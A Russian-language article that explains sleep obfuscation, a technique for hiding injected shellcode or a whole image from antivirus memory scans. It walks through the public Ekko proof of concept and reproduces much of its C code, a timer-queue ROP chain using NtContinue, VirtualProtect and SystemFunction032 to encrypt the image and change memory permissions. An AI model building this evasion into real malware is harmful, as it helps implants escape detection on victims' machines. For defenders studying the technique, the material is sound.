Спящий вирь. Изучаем технику Sleep-обфускации на ROP-цепочках
Вирусописатели придумывают все новые и новые способы скрытия своего ПО после инжекта в процесс. В последнее время стала популярна не просто обфускация, а Sleep-обфускация. Давай разберемся с этой техникой, познакомимся с ROP-цепочками, если ты с ними еще не знаком, и заценим публично доступные PoC.
Какую главную цель преследует любой уважающий себя зловред? Быть может, заработать создателю миллион долларов? Захватить весь мир? Стащить нюдсы бывшей? Все это может быть потом, но первая и важнейшая задача — скрыться! И Sleep-обфускация в этом отлично помогает. Этот способ скрытия может применяться как к шелл‑коду, так и ко всей копии файла в памяти в целом.
Большинство антивирусов обращает пристальное внимание на любые области памяти с правами на исполнение. Конечно, не все так просто, важно верно учитывать регион памяти (глупо было бы блокировать все RX-данные в Image-секциях), но Sleep-обфускация не об этом.
Представь, что сканер так и рыщет злыми глазами по памяти уже зараженного процесса, пытаясь выцепить своими когтищами наш бедный маленький шелл‑код. Чтобы скрыть себя в памяти, он может взять и поменять разрешения своего региона с RX на, например, RW или вообще PAGE_NO_ACCESS
. После чего дополнительно поксориться на удачу. И всё, шелл‑код в домике. А Око Касперского останется ни с чем.
Собственно, эту задачу и решает Sleep-обфускация. Она позволяет изменить разрешения памяти, спрятать шелл‑код, а затем через некоторое время вернуть его к жизни путем расшифровки и восстановления Execute-прав.
Предлагаю сразу разобраться с терминами. Поспрашивав экспертов и поглядев PoC на GitHub, я смело заявляю, что Sleep-обфускацию можно считать подвидом флуктуации шелл‑кода. Флуктуация решает ту же задачу — шифрование и изменение разрешений. Но лично я считаю, что Sleep-обфускация — это все то, что приводит, используя те же таймеры (или иные механизмы, связанные со временем), к выстрелу колбэка и последующему изменению разрешений памяти.
Флуктуация — это концепция такого поведения вредоноса в целом. Добиться флуктуации можно и без временных функций. Можно в шелл‑коде разместить PAGE_GUARD
или Hardware Breakpoint. Такой фокус при выполнении шелл‑кодом конкретной инструкции позволит активировать колбэк, который спрячет вредонос в памяти.
ROP
Почти все известные PoC на «спящую» обфускацию используют ROP-цепочки. Если очень вкратце, то ROP-цепочки считаются некоторой продвинутой заменой стандартному переполнению буфера. Вместо того чтобы помещать где‑то в стеке наш шелл‑код, мы, манипулируя адресами возврата, заставляем код выполнять необходимые нам инструкции. Набор инструкций называется ROP-гаджетом, несколько ROP-гаджетов — ROP-цепочкой.
Отличная картинка, наглядно представляющая этот механизм.
Впрочем, погружаться в самые дебри нам сегодня не понадобится. Связь между Sleep-обфускацией и ROP основана только на том, что после выполнения одной функции автоматически будет дергаться другая. Вот и всё! Давай посмотрим на примере.
EKKO
Простейший и самый наглядный PoC для демонстрации Sleep-обфускации — это Ekko. У него есть и более продвинутый вариант, но он не столь наглядный, и разобраться с ним будет сложнее.
Ekko позволяет, как нам и требуется, изменить разрешение памяти с помощью функции VirtualProtect(), а зашифровать пейлоад через SystemFunction032. SystemFunction032
— это недокументированная функция Windows, впрочем, работает она донельзя просто: мы передаем ей блок данных, а она его шифрует. В основе функции лежит XOR. Есть еще SystemFunction033()
— ее механизм тот же.
NTSTATUS WINAPI SystemFunction032(struct ustring * data,const struct ustring *key)
Параметров, как видишь, всего два:
У Ekko же всего одна‑единственная функция — EkkoObf()
. Она принимает лишь один DWORD-параметр — время, на которое наш исполняемый файл уснет. Спрячется все адресное пространство, содержащее код исполняемого файла.
Сначала инициализируется ключ, с помощью которого будет происходить шифрование.
CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
USTRING Key = { 0 };
USTRING Img = { 0 };
Так как у нас Sleep-обфускация, нужно создать некоторое событие и таймер, который позволит «выстрелить» в определенный момент и спрятать либо вернуть наружу нашу нагрузку. Для этого Ekko использует стандартные функции CreateEventW() и CreateTimerQueue().
Функция CreateTimerQueue()
позволяет создать очередь таймеров, которые будут вызываться друг за другом. Эта цепочка сыграет свою ключевую роль чуть позже.
hEvent = CreateEventW(0, 0, 0, 0);hTimerQueue = CreateTimerQueue();
Следующим шагом Ekko получает указатели на адреса ранее описанной функции SystemFunction032()
и новой для нас NtContinue()
. Функция NtContinue() также не документирована. Ее предназначение чуть сложнее — она принимает специальную структуру CONTEXT, которая содержит значения регистров. Передавая эту структуру в функцию, мы можем возобновить выполнение текущего потока с указанными в структуре CONTEXT
изменениями в регистрах.
Например, значение регистра EAX равно 10. Передаем в функцию NtContinue()
структуру CONTEXT со значением EAX 20
, и EAX в нашем потоке становится равен 20.
Именно на этих функциях и строится ROP-цепочка. Чтобы шифровать весь наш файл в памяти, происходит получение его базового адреса загрузки через GetModuleHandle().
ImageBase = GetModuleHandleA( NULL );
ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;
Наконец, сама ROP-цепочка выглядит так.
if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD)) {
WaitForSingleObject(hEvent, 0x32);
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
// VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); RopProtRW.Rsp -= 8; RopProtRW.Rip = (DWORD64)VirtualProtect; RopProtRW.Rcx = (DWORD64)ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE; RopProtRW.R9 = (DWORD64)&OldProtect;
// SystemFunction032( &Key, &Img );
RopMemEnc.Rsp -= 8; RopMemEnc.Rip = (DWORD64)SysFunc032;
RopMemEnc.Rcx = (DWORD64)&Img; RopMemEnc.Rdx = (DWORD64)&Key;
// WaitForSingleObject( hTargetHdl, SleepTime );
RopDelay.Rsp -= 8;
RopDelay.Rip = (DWORD64)WaitForSingleObject;
RopDelay.Rcx = (DWORD64)NtCurrentProcess();
RopDelay.Rdx = SleepTime;
// SystemFunction032( &Key, &Img );
RopMemDec.Rsp -= 8;
RopMemDec.Rip = (DWORD64)SysFunc032;
RopMemDec.Rcx = (DWORD64)&Img;
RopMemDec.Rdx = (DWORD64)&Key;
// VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD64)VirtualProtect;
RopProtRX.Rcx = (DWORD64)ImageBase;
RopProtRX.Rdx = (DWORD64)ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = (DWORD64)&OldProtect; // SetEvent( hEvent ); RopSetEvt.Rsp -= 8; RopSetEvt.Rip = (DWORD64)SetEvent;
RopSetEvt.Rcx = (DWORD64)hEvent; puts("[INFO] Queue timers"); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);
puts("[INFO] Wait for hEvent");
WaitForSingleObject(hEvent, INFINITE);
puts("[INFO] Finished waiting for event");
printCurrentTime();
}
DeleteTimerQueue(hTimerQueue);
}
Здесь сначала создаем таймер, который сразу же запускается и получает контекст текущего потока. Контекст — это как раз та структура CONTEXT со значениями регистров. После чего копируем этот контекст во все переменные, которые будут содержать изменения.
Далее заполняем в каждой структуре элементы так, чтобы они вызывали нужные функции и ROP-цепочка корректно отрабатывала. В нашем случае структуры заполняются так, чтобы шел вызов в такой последовательности: VirtualProtect()
→ изменение с RWX на RW → SystemFunction032()
→ шифрование → спим столько, сколько указано в функции → SystemFunction032()
→ расшифровка → VirtualProtect()
→ изменение с RW на RWX.
Для вызова ROP-цепочки регистрируются таймеры, которые по истечении времени вызывают функцию NtContinue()
со структурами CONTEXT
.
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);
Через 100 миллисекунд выстреливает первый гаджет, память с нашим файлом становится RW; через 200 миллисекунд все в памяти шифруется; через 300 ожидаем событие, которое перейдет в сигнальное состояние через указанное функцией время для сна; через 400 произойдет расшифровка, а через половину секунды память вновь станет RWX.
Логичный вопрос — каким образом система вызывает функции, если мы как бы шифруем всю память? Здесь идет шифрование только непосредственно кода программы, смапленной в память. При этом DLL, в которых находится реализация функций NtContinue()
, SystemFunction032()
и так далее, не шифруется. Поэтому все успешно исполняется, ведь мы регистрируем колбэки, указывая адреса этих функций. Система эти адреса запоминает, и они не подвергаются шифрованию при работе пейлоада (так как они находятся за пределами ImageBaseAddr
+ ImageSize
). Поэтому все отлично срабатывает.
ВЫВОДЫ
Теперь нам понятен основной смысл работы Sleep-обфускации, но Ekko — лишь один из простейших PoC. На GitHub их много разновидностей: здесь и RustChain с использованием в логике хардверных брейк‑пойнтов, и Cronos с SleepEx()
, и DeathSleep. Последний метод можно считать продвинутой Sleep-обфускацией, поскольку он буквально убивает текущий поток (но перед этим предварительно не забывает сохранить все регистры CPU для него и стек), затем спит, после чего восстанавливает данные. В общем, теперь у тебя огромный простор для самостоятельного изучения!